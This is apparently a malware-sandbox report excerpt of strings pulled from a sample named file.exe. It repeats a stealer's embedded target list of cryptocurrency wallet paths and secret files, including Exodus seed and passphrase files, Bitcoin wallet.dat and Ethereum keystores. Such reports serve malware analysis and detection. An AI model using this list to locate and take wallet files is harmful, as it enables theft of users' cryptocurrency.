Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2705701503.000000000BC51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2705701503.000000000BC51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2705701503.000000000BC51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2705701503.000000000BC51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2705701503.000000000BC51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2705701503.000000000BC51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2697249380.00000000008F5000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \Ethereum\
Source: file.exe, 00000000.00000002.2705701503.000000000BC51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2697249380.00000000008F5000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum
Source: file.exe, 00000000.00000002.2705701503.000000000BC51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2705701503.000000000BC51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2705701503.000000000BC51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2705701503.000000000BC51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local 